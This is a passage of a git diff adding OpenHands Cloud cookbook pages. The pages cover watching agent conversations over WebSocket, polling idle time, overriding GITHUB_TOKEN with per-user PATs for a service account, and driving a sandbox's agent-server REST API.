to prepare skills/repo and start the conversation); once it hands back an +id, the socket takes over. + + + Both approaches attach to a sandbox first, exactly like + [`clone-and-attach`](/cookbook/clone-and-attach) — the WebSocket lives on the + sandbox's agent-server regardless of which endpoint created the conversation. + + +## What They Print + +`watch_attach.py` (note the short start-task poll, then the socket): + +```text +sandbox: 6MTcHjsITPtO09W0yYLHSd + sandbox status: RUNNING +agent: https://zztaextwktekrdgh.prod-runtime.all-hands.dev + +=== attaching conversation (start-task poll) === + start-task status: SETTING_UP_SKILLS + start-task status: STARTING_CONVERSATION + start-task status: READY +conversation: b04bc6236d8745d7a83b2e2d3714f1a9 + +=== watching conversation state (WebSocket) === + .. SystemPromptEvent + .. MessageEvent + >> execution_status: running + .. StreamingDeltaEvent + .. MessageEvent + >> execution_status: finished +=== done === + +Cleaning up sandbox… +``` + +`watch_direct.py` (no start-task poll; id is immediate): + +```text +sandbox: 1ChU3JfCyeKY2hprWBIQ8n + sandbox status: RUNNING +agent: https://aurgryilvhwboigr.prod-runtime.all-hands.dev +conversation: 1239717a-0396-435b-bfb8-f0b857891fd7 + +=== watching conversation state (WebSocket) === + .. SystemPromptEvent + .. MessageEvent + >> execution_status: running + .. MessageEvent + >> execution_status: finished +=== done === + +Cleaning up sandbox… +``` + +## Run It + +```bash +export OH_API_KEY=... # your https://app.all-hands.dev API key +pip install requests websockets +``` + +**No LLM key (Cloud attach):** + +```bash +python watch_attach.py --message "List the files in /workspace/project" +``` + +**No start-task poll (agent-server direct):** a conversation created directly on +the agent-server does not inherit Cloud LLM credentials, so pass your own: + +```bash +export LLM_API_KEY=... +python watch_direct.py --llm-model "gpt-4o-mini" --message "Say hello, then stop." +``` + +The default `gpt-4o-mini` expects a real OpenAI key. If you route through a proxy +(e.g. a LiteLLM endpoint), also pass `--llm-base-url` and a model name your proxy +recognizes: + +```bash +export LLM_API_KEY=... # your proxy key +python watch_direct.py \ + --llm-model "litellm_proxy/anthropic/claude-haiku-4-5" \ + --llm-base-url "https://your-proxy.example.com" \ + --message "Say hello, then stop." +``` + +### Flags + +Shared by both scripts: + +| Flag | Env var | Default | +| ------------------- | ----------------- | ------------------------------------ | +| `--api-key` | `OH_API_KEY` | — (required) | +| `--base-url` | `OH_API_BASE` | `https://app.all-hands.dev` | +| `--sandbox-spec-id` | `SANDBOX_SPEC_ID` | none (account default image) | +| `--message` | — | `Say hello, then stop.` | +| `--poll-timeout` | `POLL_TIMEOUT` | `180` (seconds) | +| `--keep` | — | off (deletes the sandbox at the end) | + +`watch_direct.py` also takes: + +| Flag | Env var | Default | +| ---------------- | -------------- | ------------- | +| `--llm-model` | `LLM_MODEL` | `gpt-4o-mini` | +| `--llm-api-key` | `LLM_API_KEY` | — (required) | +| `--llm-base-url` | `LLM_BASE_URL` | none | + +By default the sandbox is deleted when the script exits. Pass `--keep` to leave +it running and print the `DELETE` command instead. + +## Another Option: React from *Inside* the Sandbox with Hooks + +The WebSocket approach is for a client that holds a connection open and reacts +**externally**. If instead you want the sandbox itself to act on a lifecycle +event — notify a URL, run setup, gate an action — you can use **lifecycle +hooks** delivered by a plugin. Hooks run inside the agent-server on events like +`SessionStart`, `PreToolUse`, `PostToolUse`, and `Stop`, so there is nothing to +poll and no socket to keep open. + +Two examples in this repo show the pattern: + +- [`finish-callback`](/cookbook/finish-callback) — a **`Stop` hook** that `POST`s to a + URL you control the moment a conversation finishes. This is the closest + analogue to "tell me when it's done" without a held-open socket: the sandbox + pushes to you. (It also documents the callback-plus-polling hybrid for + reliability.) +- [`gpg-commit-signing`](/cookbook/gpg-commit-signing) — a **`SessionStart` hook** that + configures the environment at the start of *every* conversation, illustrating + the "run something on a lifecycle event" shape more generally. + +Rule of thumb: use the **WebSocket** (this example) when an external client +needs to follow state live; use **hooks** (a plugin) when the reaction should +happen inside the sandbox on a specific lifecycle event. See the +[OpenHands Hooks Guide](/sdk/guides/hooks) for the +full list of hook types and their blocking semantics. + +## Notes + +- **Only the sandbox (and, for `watch_attach.py`, the start task) is polled, and + only for provisioning.** Waiting for `RUNNING` / `READY` is lifecycle, not + conversation execution state. Once the agent-server is up and the id is known, + the conversation is entirely event-driven. +- **First-frame auth** keeps the session key out of the URL (and therefore out + of reverse-proxy / load-balancer access logs). A deprecated + `?session_api_key=…` query parameter also works but is not recommended. +- **`resend_mode=all`** makes the subscription race-free: because an + `initial_message` starts the run at create time, some events may already exist + before the socket connects. Replaying them means the example never misses the + first `running`. Use `resend_mode=since&after_timestamp=…` if you have already + fetched history over REST and only want newer events. +- **Terminal states.** The scripts stop at `finished`, `error`, or `stuck`. The + full set of `ConversationExecutionStatus` values is `idle`, `running`, + `paused`, `waiting_for_confirmation`, `finished`, `error`, `stuck`, + `deleting`. +- **Going deeper — is it *really* done?** These scripts read the per-field + `execution_status` and stop on the first `finished`, which is perfect for + reacting to transitions. If you specifically need to detect a **confirmed + terminal state** (a per-field `finished` is advisory — a Stop hook can revert + it), see [`watch-terminal-state`](/cookbook/watch-terminal-state). It builds on this + example's Cloud approach and adds handling for both + `ConversationStateUpdateEvent` shapes (per-field and `full_state`), plus + log-safe first-message auth. +- **Webhooks (reacting from an external service, no held-open socket).** The + agent-server can also *push* to an HTTP endpoint you host — + `POST {base_url}/conversations` on start/pause/resume/stop and + `POST {base_url}/events/{id}` for event batches. That is a good fit when an + external service, not a long-lived client, needs to react. However, those + webhooks are supplied via the agent-server's startup config or + `POST /api/init`, and **OpenHands Cloud sandboxes run with + `deferred_init=False`** — so there is no way to inject webhook config. + `GET /api/init` makes this explicit, returning `404` with the message + `server is not running with deferred_init=True; the /api/init endpoint is not + available` (a `POST` is rejected at the auth layer first with `401`). So + agent-server webhooks require an agent-server you run + yourself (e.g. via Docker). On Cloud, use the WebSocket here, or the in-sandbox + **`Stop` hook** in [`finish-callback`](/cookbook/finish-callback) for a push-style + finish notification. + +## APIs Used + +### 1. Cloud App Server — manages the sandbox lifecycle + +- Base URL: `https://app.all-hands.dev` +- Auth header: `X-Session-API-Key: ` +- Endpoints: + - `POST /api/v1/sandboxes` — start a sandbox (optional `?sandbox_spec_id=…`) + - `GET /api/v1/sandboxes?id=` — batch-get sandboxes by id + - `POST /api/v1/app-conversations` — **attach** a conversation to a sandbox + (`watch_attach.py` only); returns a start task + - `GET /api/v1/app-conversations/start-tasks?ids=` — poll for the + `app_conversation_id` (`watch_attach.py` only) + - `DELETE /api/v1/sandboxes/{id}?sandbox_id=` — clean up + +### 2. Agent Server — runs inside the sandbox + +- Base URL: the entry in `sandbox.exposed_urls` with `name == "AGENT_SERVER"`. +- Auth header: `X-Session-API-Key: ` returned by the + sandbox-create call (different from your Cloud API key). +- Endpoints: + - `POST /api/conversations` — create a conversation directly + (`watch_direct.py` only). Body requires a `workspace` and an `agent` (with + an `llm`); an `initial_message` makes it start running immediately. + - `GET /sockets/events/{conversation_id}` — **WebSocket** event stream. This + is the shared star of both scripts. Authenticate by sending + `{"type": "auth", "session_api_key": "…"}` as the first frame. Add + `?resend_mode=all` to replay events already produced since the conversation + started (this closes the create→connect race without polling). + + + Full Agent Server schema is at `/openapi.json` once the + sandbox is `RUNNING`. + diff --git a/cookbook/server-info-idle.mdx b/cookbook/server-info-idle.mdx new file mode 100644 index 000000000..1bd6520b1 --- /dev/null +++ b/cookbook/server-info-idle.mdx @@ -0,0 +1,199 @@ +--- +title: Server Info Idle +description: Poll the idle_time endpoint to detect when a workspace has gone quiet. +icon: clock +--- + +{/* GENERATED from OpenHands/enterprise-cookbook@main (server-info-idle/README.md). Edit the source, not this file. */} + + + +Detect when an agent has gone quiet by polling the agent-server's built-in idle +timer: `GET /server_info` reports `idle_time`, the seconds since the last +activity on the server. This is the **exact signal `runtime-api` polls** to +decide when a sandbox is idle enough to pause/reap — this example uses the same +signal for your own "has the workspace gone quiet?" check. + +On **Cloud** (the default here), the same response also carries +`runtime_idle_timeout_seconds`, the platform's real reap threshold, so you can +see `idle_time` climbing toward the very number the platform acts on. + +One file: + +- [`idle_poll.py`](https://github.com/OpenHands/enterprise-cookbook/blob/main/server-info-idle/idle_poll.py) — start a Cloud sandbox, attach a conversation + (no LLM key needed), then poll `/server_info` until `idle_time` crosses a + threshold and declare the agent idle. Pass `--local` to run against an + agent-server you start in Docker instead. + +## How It Works + +```mermaid +sequenceDiagram + participant P as idle_poll.py + participant S as Cloud app server / sandbox agent-server + P->>S: POST /api/v1/sandboxes + P->>S: GET /api/v1/sandboxes?id (until RUNNING) + P->>S: GET #lt;agent#gt;/server_info (baseline) + Note right of S: idle_time, runtime_idle_timeout_seconds + P->>S: POST /api/v1/app-conversations + Note right of S: attach (no LLM key)#59; poll start-task + P->>S: GET #lt;agent#gt;/server_info (loop) + Note right of S: idle_time climbing... + Note over P: ...until idle_time > threshold -> #quot;agent idle#quot; + P->>S: DELETE /api/v1/sandboxes/{id} + Note right of S: clean up +``` + +## `idle_time` vs. `execution_status` + +They answer different questions — pick per your need: + +| | `idle_time` (this example) | `execution_status` | +| ------------------------------------------- | --------------------------------- | ---------------------------------------------------- | +| **Question** | "Has the *workspace* gone quiet?" | "Is *this conversation* done?" | +| **Granularity** | Server-wide heartbeat | Per-conversation state machine | +| **Distinguishes finished / error / stuck?** | No | Yes (`is_terminal()`) | +| **How to consume** | Poll `GET /server_info` | Push via [WebSocket](/cookbook/watch-terminal-state) | +| **Used by the platform for** | Reaping idle sandboxes | Reporting run completion | + +Use `idle_time` when you just want "nothing is happening anymore" without +subscribing to a conversation; use `execution_status` when you need an +authoritative terminal signal. + +## Run It + +```bash +export OH_API_KEY=... # your https://app.all-hands.dev API key +pip install requests + +python idle_poll.py +``` + +No LLM key is required: attaching through the Cloud app server injects your +account's configured LLM. + +### Flags + +| Flag | Env var | Default | +| ------------------- | ----------------- | --------------------------------------------- | +| `--api-key` | `OH_API_KEY` | — (required) | +| `--base-url` | `OH_API_BASE` | `https://app.all-hands.dev` | +| `--sandbox-spec-id` | `SANDBOX_SPEC_ID` | none (account default image) | +| `--message` | — | `Say hello in one short sentence, then stop.` | +| `--poll-timeout` | `POLL_TIMEOUT` | `180` (sandbox / start-task) | +| `--idle-threshold` | — | `15` (seconds) | +| `--poll-interval` | — | `3` (seconds) | +| `--watch-timeout` | — | `180` | +| `--keep` | — | off (deletes the sandbox at the end) | + +## What It Prints + +```text +sandbox: 2UqRNuFbMFhgLLntVnla5k + sandbox status: RUNNING +agent: https://tsjascgdpnrkidek.prod-runtime.all-hands.dev +baseline /server_info: idle_time=101.0s runtime_idle_timeout_seconds=1200.0 + +=== attaching conversation (start-task poll) === + start-task status: SETTING_UP_SKILLS + start-task status: STARTING_CONVERSATION + start-task status: READY +conversation: be8a7d2965f34f85b142e3ee44ed188b + +polling /server_info.idle_time every 3.0s; declaring idle at > 15.0s + + idle_time= 0.0s uptime=134.0s + idle_time= 3.0s uptime=137.0s + idle_time= 1.0s uptime=140.0s # drops when the agent acts + idle_time= 4.0s uptime=143.0s + idle_time= 7.0s uptime=146.0s + idle_time= 10.0s uptime=149.0s + idle_time= 13.0s uptime=152.0s + idle_time= 16.0s uptime=155.0s # climbs after the agent stops + +agent idle: idle_time exceeded 15.0s — the workspace has gone quiet. +(this is the same signal runtime-api uses to reap sandboxes; for a +per-conversation terminal state use execution_status) + +Cleaning up sandbox… +``` + +## Running Locally Without Cloud + +The audience for this example is **Cloud**. If you have no Cloud account, pass +`--local` to start an agent-server in Docker and poll it directly: + +```bash +docker must be running +pip install requests + +export LLM_API_KEY=... # required in --local mode +export LLM_MODEL=litellm_proxy/... # required in --local mode +export LLM_BASE_URL=https://... # optional (provider default if unset) + +python idle_poll.py --local +``` + +The only differences in `--local` mode: the script `docker run`s the +`ghcr.io/openhands/agent-server:latest-python` image, creates the conversation +directly on the agent-server (`POST /api/conversations`, which needs an LLM key), +and reads `/server_info` at `http://localhost:8000`. Note that +`runtime_idle_timeout_seconds` is **`null`** locally — there is no platform +reaper — so only the `idle_time` heartbeat is meaningful. Local-only flags: +`--llm-api-key`, `--llm-model`, `--llm-base-url`, `--session-key`, `--image`, +`--server-port`, `--container-name`. + +## Notes + +- **Coarse by design.** `idle_time` cannot tell you *why* things went quiet + (finished vs. errored vs. stuck vs. simply waiting). It is a heartbeat, not a + state machine. That is exactly why the platform uses it for reaping and not for + reporting completion. +- **Threshold choice.** Set `--idle-threshold` well above your longest expected + gap between agent actions (LLM latency, long tool calls), or you will declare + "idle" mid-run. The platform's default (`runtime_idle_timeout_seconds`, \~1200s + on Cloud) is deliberately large for this reason. +- Full agent-server schema: `/openapi.json`. + +## APIs Used + +### Cloud app server — manages the sandbox lifecycle + +- Base URL: `https://app.all-hands.dev`, auth header `X-Session-API-Key: `. +- `POST /api/v1/sandboxes` — start a sandbox +- `GET /api/v1/sandboxes?id=` — poll until `RUNNING` +- `POST /api/v1/app-conversations` — attach a conversation (returns a start task) +- `GET /api/v1/app-conversations/start-tasks?ids=` — poll for the id +- `DELETE /api/v1/sandboxes/{id}?sandbox_id=` — clean up + +### Agent server — `GET /server_info` + +Read from the sandbox's `AGENT_SERVER` exposed URL with its `session_api_key`. +Returns a `ServerInfo` object; the fields this example reads: + +| Field | Meaning | +| ------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `idle_time` | Seconds since the last activity (file ops, agent steps, ACP heartbeat). Drops while the agent works, climbs once it stops. | +| `uptime` | Seconds since the server started. | +| `runtime_idle_timeout_seconds` | The platform's own reap threshold — how long `runtime-api` lets a sandbox sit idle before pausing/stopping it (e.g. `1200.0` on Cloud). **Populated on Cloud; `null` on a plain local agent-server, which has no reaper.** | + +On Cloud, `runtime-api` reaps a sandbox roughly when +`idle_time >= runtime_idle_timeout_seconds`. This demo uses a much smaller +threshold (`--idle-threshold`, default 15s) so you can watch idle detection fire +quickly against the same `idle_time` signal. + +## Related + + + + authoritative per-conversation terminal state over the WebSocket (push) + + + + react to every execution_status transition over the WebSocket + + + + the sandbox lifecycle this example builds on + + diff --git a/cookbook/service-account-github-pat.mdx b/cookbook/service-account-github-pat.mdx new file mode 100644 index 000000000..22eb20a65 --- /dev/null +++ b/cookbook/service-account-github-pat.mdx @@ -0,0 +1,283 @@ +--- +title: Service Account GitHub PAT +description: Use one OpenHands account as a service account, overriding the managed GITHUB_TOKEN with each user's PAT per conversation. +icon: id-card +--- + +{/* GENERATED from OpenHands/enterprise-cookbook@main (service-account-github-pat/README.md). Edit the source, not this file. */} + + + +**Question:** *Can I use one OpenHands SaaS account as a service account that performs +GitHub operations on behalf of many different users, by supplying each user's GitHub +Personal Access Token (PAT) as a per-conversation secret?* + +**Short answer:** **Yes.** OpenHands lets a conversation-start request override the +account's own managed `GITHUB_TOKEN` with a token you supply. So a single "backend" +account can front many users by passing the right user's PAT for each conversation. + +But "supply a PAT and you're done" hides three things that will bite you if you skip +them: + +1. **Where the token is (and isn't) readable** — the sandbox has two command paths and + only one of them sees the secret. +2. **The identity split** — the *push* credential and the *commit author* are two + different identities, and by default only the push side becomes the PAT owner. +3. **The clone trap** — if you attach a repository at conversation start, it is cloned + with the *service account's* credentials, not the PAT. + +This guide explains the mechanics and the techniques to get it right. + +*** + +## 1. The core mechanism: `secrets` overrides the managed token + +When you start a conversation you can pass a `secrets` map. `GITHUB_TOKEN` is explicitly +on the list of **overridable** system secrets, so a value you pass wins over the +account's own managed GitHub token: + +```jsonc +POST /api/v1/app-conversations +{ + "sandbox_id": "…", + "initial_message": { "role": "user", "content": [{ "type": "text", "text": "…" }] }, + "secrets": { + "GITHUB_TOKEN": "ghp_thePatOfTheUserYouAreActingFor" + } +} +``` + +What happens server-side: + +- The app-server first builds the secret set from the account's own identity: the + managed `GITHUB_TOKEN` is a **refreshing lookup** (a `LookupSecret` that calls back to + the app-server's `/api/v1/webhooks/secrets` to fetch a freshly-minted token each time + it's read). +- Your API-provided secrets are then **merged last, last-write-wins**. `GITHUB_TOKEN` + becomes a **static** value (your PAT), replacing the refreshing lookup. The server logs + `API-provided secret 'GITHUB_TOKEN' overrides existing secret`. + +Two consequences worth internalizing: + +- **The auto-refresh no longer applies to `GITHUB_TOKEN`.** That's fine for a PAT (PATs + don't need refreshing), but it means the token you inject is used as-is for the life of + the conversation. If it expires or is revoked mid-run, there is no refresh path. +- **There is no ownership check.** The platform does not verify that the PAT belongs to + the calling account or to any particular user. Whoever holds the service account's API + key can make the agent act with *any* PAT. Treat that API key accordingly (see + [§7 Security](#7-security-and-operational-considerations)). + +### What you may and may not override + +- `GITHUB_TOKEN`, `GITLAB_TOKEN`, `BITBUCKET_TOKEN`, `AZURE_DEVOPS_TOKEN`, + `FORGEJO_TOKEN`, and the AWS Bedrock credentials are **overridable** by design — this + BYO-credential flow is exactly what they're for. +- Names starting with `LLM_` are **blocked** (they enforce LLM controls). +- A set of container/infra names (`OH_WEBHOOKS_0_BASE_URL`, `OH_ALLOW_CORS_ORIGINS_0`, + worker ports, etc.) are **blocked** so you can't repoint callbacks or break the sandbox. +- Limits: a bounded number of secrets per request, bounded name length, bounded value + size. Names are validated. + +*** + +## 2. The two execution paths (this is the crux) + +Inside the sandbox there are **two different ways** a shell command can run, and they do +**not** have the same access to your secret: + +| | Agent tool-call path | Direct exec path | +| -------------------------- | ------------------------------------------------------ | -------------------------------------- | +| Who triggers it | the agent (LLM) running its `bash` tool | you, calling the agent-server REST API | +| Endpoint | conversation `events` → tool executor | `POST /api/bash/execute_bash_command` | +| Sees conversation secrets? | **Yes, but only if the command text names the secret** | **No — never** | + +Why: + +- Conversation secrets live in the SDK's **secret registry**. The registry is consulted + **only** by the agent's terminal tool, and it works by **scanning the command text** for + registered secret names. If the literal name (e.g. `GITHUB_TOKEN`) appears in the + command, its value is exported as an env var for that command; otherwise nothing is + injected. +- The direct `POST /api/bash/...` endpoint is a standalone bash service with no + conversation context and no secret registry. It runs the raw command. It cannot read + registry secrets no matter what the command says. + +Practical fallout: + +- `git remote set-url origin https://${GITHUB_TOKEN}@github.com/owner/repo.git` **works** + on the agent path — the literal `GITHUB_TOKEN` is present, so it's injected. +- `gh pr create …` on the agent path **does not** get the token — the string + `GITHUB_TOKEN` doesn't appear, so `gh` runs unauthenticated. Force it: + `GITHUB_TOKEN=$GITHUB_TOKEN gh pr create …`. +- Nested scripts, background processes, and git credential helpers only see the token if + the **top-level** command named it (env is then inherited by children). Once a command + in the agent's shell session references the secret, the `export` persists for the rest + of that session. + +> Rule of thumb: **on the agent path, name the secret in the command.** On the direct +> path, the registry secret isn't available at all — if you need a credential there, you +> must place it yourself (you hold the plaintext). + +*** + +## 3. The identity split: push credential ≠ commit author + +This is the detail most people miss. + +- **Push credential** = the token used for `git push`. Override `GITHUB_TOKEN` and this + becomes the **PAT owner**. ✅ +- **Commit author/committer** = the `user.name` / `user.email` baked into the commit at + `git commit` time. GitHub attributes a commit to an account by matching the **author + email**. The token has *no effect* on this. + +By default the app-server configures git identity **from the service account's** stored +`git_user_name` / `git_user_email` (as `git config --global`). So out of the box you get: + +- commits **authored by the service account** (or, if the account has no git identity + set, a container fallback like `root@…`), and +- pushed **as the PAT owner**. + +That split pollutes contribution graphs, "Verified"/linked authorship, and your audit +trail. **If attribution matters, set the committer identity to the target user yourself.** + +- Your system should **track each user's git identity** — specifically the GitHub-linked + email, typically the noreply form `ID+login@users.noreply.github.com` — and set it in + the sandbox: + ```bash + git config user.name "Jane Example" + git config user.email "12345+jane@users.noreply.github.com" + ``` + These are **non-secret strings**, so they work over either execution path. Repo-local + config overrides the account's `--global` default. +- Don't try to discover the identity from the token unless you must — `gh api user` needs + the token (so it must be on the agent path *and* name `GITHUB_TOKEN`), adds a round + trip, and adds a failure mode. Tracking it yourself is more robust. + +*** + +## 4. The clone trap: don't attach a repository at start + +When you pass `selected_repository` at conversation start, the app-server clones it +**before** your PAT is in play, using the **service account's** credentials — the +service-account token is embedded directly into the `origin` remote URL. You'd then have +a repo cloned and remote-authenticated as the service account while the agent thinks it's +the PAT user. Mixed identity, again. + +**Technique: start with no repository attached, and clone inside the session with the +PAT.** With no repo selected, the app-server skips the authenticated clone entirely, and +the agent's `GITHUB_TOKEN` is uniformly the injected PAT. + +The clone must be **agent-driven** (or done by you over the direct path with the plaintext +token), because in the plain app-conversation flow the PAT only reaches the sandbox once +the conversation starts — after the app-server's own setup step has already run. See the +sandbox-first flow below if you want to control that ordering. + +*** + +## 5. Two implementation flows + +### Flow A — Simple: app-conversation with `secrets` (no repo attached) + +Best when you're happy to let the agent do the cloning and you don't need setup to read +the token. + +1. `POST /api/v1/app-conversations` with `secrets: { GITHUB_TOKEN: }`, **no + `selected_repository`**, and an initial message that tells the agent to: + - set git identity to the target user (pass the name/email in the message or a skill), + - clone with the PAT, e.g. + `git clone https://x-access-token:${GITHUB_TOKEN}@github.com/owner/repo.git`, + - reference `GITHUB_TOKEN` explicitly in any `gh`/push commands. + +This is a superset of the [`per-conversation-secrets`](/cookbook/per-conversation-secrets) +example — same `secrets` field, just used for `GITHUB_TOKEN`. + +### Flow B — Sandbox-first: full control over ordering + +Best when you want the credential and identity **in place before the agent runs**, or you +want to pre-clone / run setup as the correct identity. + +1. `POST /api/v1/sandboxes` yourself; poll to `RUNNING`; read `session_api_key` and the + `AGENT_SERVER` URL from `exposed_urls`. +2. Drive the sandbox directly over `POST /api/bash/execute_bash_command` (you hold the + plaintext PAT, so you're not dependent on the registry here): + - `git config --global user.name/user.email` → the **target user's** identity, + - clone the repo with the PAT, or place a credential helper / env entry, + - run any setup you need. +3. Attach a conversation to the prepared sandbox: `POST /api/v1/app-conversations` with + that `sandbox_id`. **Also** register the PAT in the conversation `secrets` so the + agent's own tool-path commands can use `$GITHUB_TOKEN` by name. + +This builds on the [`start-sandbox`](/cookbook/start-sandbox) example (create sandbox → talk to +the agent-server directly), then attaches a conversation on top. + +> Important nuance: injecting secrets "at start" or via the agent-server's +> `POST /api/conversations/{id}/secrets` endpoint both land in the **conversation +> registry** — i.e. agent-tool-path only, name-scanned. Creating the sandbox earlier does +> **not** make those registry secrets readable by `POST /api/bash/...`. What the +> sandbox-first flow buys you is *ordering* plus the fact that *you already hold the +> plaintext* and can place it however you like. + +*** + +## 6. What still resolves to the service account (residual coupling) + +Even with no repo attached and the PAT injected, a few things are still the **service +account**, because they run at conversation start regardless: + +- **Skill loading.** The app-server enumerates the *service account's* login and orgs and + fetches their `.openhands` / `.agents` skill repos using the service account's token. + Those authenticated URLs (with the service-account token) are handed to the sandbox. If + you want zero service-account credential exposure in the sandbox, consider disabling + org/user skill loading for this flow, and keep the service account's scopes minimal. +- **Other providers.** Only `GITHUB_TOKEN` is overridden. Any `GITLAB_TOKEN`, + `BITBUCKET_TOKEN`, etc. still refresh against the service account. +- **Server-side attribution.** Conversation ownership, telemetry, and webhook identity are + the service account. GitHub-side actions are attributed to the PAT owner. Your audit + trail is inherently split across the two systems — plan for correlating them. + +*** + +## 7. Security and operational considerations + +- **The service account API key is now an "act as anyone" key.** There's no server-side + check tying an injected PAT to a user. Guard the API key like the high-value credential + it is; do your own authorization *before* choosing which PAT to inject. +- **Scope the PATs.** Prefer fine-grained PATs limited to the repos/permissions each + operation needs. The injected token becomes readable inside the sandbox (agent path) + and lives in conversation state for the conversation's lifetime. +- **Blast radius of the sandbox.** Anyone with the sandbox's `session_api_key` can drive + `POST /api/bash/...`. In the sandbox-first flow you place plaintext tokens there + yourself — treat the sandbox as sensitive and tear it down when done. +- **Output masking.** Secret values registered in the conversation are masked as + `` in tool output, but only for values the registry knows and has + resolved. Tokens you place yourself over the direct path are **not** masked — avoid + echoing them. +- **Prefer short-lived tokens where possible.** Because the override disables the managed + refresh, a long conversation with an expiring token has no recovery path; mint fresh or + keep conversations bounded. + +*** + +## 8. Implementation checklist + +- [ ] Authorize the request in **your** system and pick the correct user's PAT. +- [ ] Start the conversation **without** `selected_repository`. +- [ ] Pass the user's PAT as `secrets.GITHUB_TOKEN`. +- [ ] Set the **committer identity** to the target user (`git config user.name/email`, + using a GitHub-linked email you track). Do it before any commit. +- [ ] In agent commands, **name `GITHUB_TOKEN`** wherever the token is needed + (`GITHUB_TOKEN=$GITHUB_TOKEN gh …`, or embed it in the clone/remote URL). +- [ ] Decide clone strategy: agent-driven (Flow A) or pre-clone over the direct path + (Flow B). +- [ ] Minimize service-account scopes; consider disabling org/user skill loading. +- [ ] Have a correlation strategy for the split audit trail. +- [ ] Use fine-grained, minimally-scoped, ideally short-lived PATs; tear down sandboxes. + +*** + +## Related + +- [`per-conversation-secrets`](/cookbook/per-conversation-secrets) — the `secrets` field at + start vs. after start, and MCP `${VAR}` expansion. +- [`start-sandbox`](/cookbook/start-sandbox) — create a sandbox and drive its agent-server REST + API directly (the basis for Flow B). diff --git a/cookbook/start-sandbox.mdx b/cookbook/start-sandbox.mdx new file mode 100644 index 000000000..deb165e02 --- /dev/null +++ b/cookbook/start-sandbox.mdx @@ -0,0 +1,136 @@ +--- +title: Start Sandbox +description: Start a sandbox without a conversation and run commands via the agent-server REST API. +icon: play +--- + +{/* GENERATED from OpenHands/enterprise-cookbook@main (start-sandbox/README.md). Edit the source, not this file. */} + + + +A short script that creates an OpenHands Cloud sandbox via the V1 API, +waits for it to reach `RUNNING`, then talks directly to the sandbox's +agent-server REST API to run shell commands. + +No conversation is created — useful when you want a managed remote workspace +to drive yourself (e.g. for tooling, batch jobs, or programmatic agents). + +Two versions are provided: + +- [`sandbox_demo_brief.py`](https://github.com/OpenHands/enterprise-cookbook/blob/main/start-sandbox/sandbox_demo_brief.py) — \~25 lines, + one-numbered-step-per-block, minimal error handling. Best for quickly + understanding the API shape. +- [`sandbox_demo.py`](https://github.com/OpenHands/enterprise-cookbook/blob/main/start-sandbox/sandbox_demo.py) — same flow but split into a + `main()` function with docstrings and type hints, more in line with + the rest of the repo. + +Both do the same thing and both intentionally leave the sandbox running +at the end. + +> Want to go further? [`clone-and-attach`](/cookbook/clone-and-attach) builds on this +> example: it clones a repo and runs its `.openhands/setup.sh` in the sandbox, +> then **attaches a conversation** to the prepared sandbox. + +## APIs Used + +### 1. Cloud App Server — manages the sandbox lifecycle + +- Base URL: `https://app.all-hands.dev` +- Auth header: `X-Session-API-Key: ` +- Endpoints: + - `POST /api/v1/sandboxes` — start a sandbox (optional `?sandbox_spec_id=…`) + - `GET /api/v1/sandboxes?id=` — batch-get sandboxes by id + (returns `SandboxInfo` with `status`, `session_api_key`, `exposed_urls`, …) + +### 2. Agent Server — runs inside the sandbox + +- Base URL: the entry in `sandbox.exposed_urls` with `name == "AGENT_SERVER"`. + Inside the container the agent server listens on port **60000** (you'll see + that in the sample `ps -ef` output below and in the `port` field of the + `exposed_urls` entry); it is reverse-proxied to the public HTTPS URL, so you + always talk to it over `https://…` (port 443) — never the internal port. +- Auth header: `X-Session-API-Key: ` returned by the + sandbox-create call (different from your Cloud API key) +- All routes are under `/api/...`. This example uses: + - `POST /api/bash/execute_bash_command` — run a bash command and wait + for its result; body `{ "command": "...", "timeout": 30, "cwd": "..." }`, + response includes `stdout`, `stderr`, `exit_code` + +> Full Agent Server schema is available at +> `/openapi.json` once the sandbox is `RUNNING`. + +## What it prints + +```text +sandbox: 59Ji2kvkUtZZSm7zAkAxwN + status: RUNNING +agent: https://rzwfxneubhwcfpav.prod-runtime.all-hands.dev + +=== ls -la /workspace === +drwxr-sr-x bash_events +drwxr-sr-x conversations +drwxrws--- lost+found + +=== agent-server process === +openhan+ 1 /usr/local/bin/openhands-agent-server --port 60000 +openhan+ 38 /usr/local/bin/openhands-agent-server --port 60000 +``` + +`/workspace` is the sandbox's working tree. The agent-server is the binary +target built from the +[software-agent-sdk Dockerfile](https://github.com/OpenHands/software-agent-sdk/blob/main/openhands-agent-server/openhands/agent_server/docker/Dockerfile). +You'll see two processes: a uvicorn parent and a worker. + +## Run it + +```bash +export OH_API_KEY=... # your https://app.all-hands.dev API key +pip install requests +python sandbox_demo_brief.py # or sandbox_demo.py +``` + +`sandbox_demo.py` also takes flags / env vars so you can reuse it as-is: + +| Flag | Env var | Default | +| ------------------- | ----------------- | ---------------------------- | +| `--api-key` | `OH_API_KEY` | — (required) | +| `--base-url` | `OH_API_BASE` | `https://app.all-hands.dev` | +| `--sandbox-spec-id` | `SANDBOX_SPEC_ID` | none (account default image) | +| `--poll-timeout` | `POLL_TIMEOUT` | `180` (seconds) | + +Neither script deletes the sandbox at the end so you can poke at it. +Clean up with the `DELETE` endpoint — note the sandbox id goes in **both** the +path and a required `sandbox_id` query parameter: + +```bash +SID= +curl -X DELETE "https://app.all-hands.dev/api/v1/sandboxes/${SID}?sandbox_id=${SID}" \ + -H "X-Session-API-Key: $OH_API_KEY" +``` + +## Notes + +- A freshly created sandbox starts in `STARTING`; `session_api_key` and + `exposed_urls` are `null` until it becomes `RUNNING`. Polling every few + seconds is sufficient. +- The Cloud API has no single-sandbox `GET /sandboxes/{id}` — use the + batch-get endpoint `GET /sandboxes?id=` and read the first item. +- To pick a specific runtime image, pass `?sandbox_spec_id=` to the + `POST /api/v1/sandboxes` call. List available specs with + `GET /api/v1/sandbox-specs/search`. + +## Related + + + + Clone a repo and attach a conversation + + + + Delete conversations and release PVCs + + + + Full API documentation + + diff --git a/cookbook/test-mcp-config.mdx b/cookbook/test-mcp-config.mdx new file mode 100644 index 000000000..262136507 --- /dev/null +++ b/cookbook/test-mcp-config.mdx @@ -0,0 +1,189 @@ +--- +title: Test MCP Config +description: Validate MCP server configs against a sandbox agent-server via POST /api/mcp/test. +icon: vial +--- + +{/* GENERATED from OpenHands/enterprise-cookbook@main (test-mcp-config/README.md). Edit the source, not this file. */} + + + +Validate **MCP server configurations** against a real sandbox's agent-server, +**before** wiring them into a conversation. + +## Why + +The OpenHands web UI lets you *add* an MCP server, but it does not currently +tell you whether the server actually connects. If 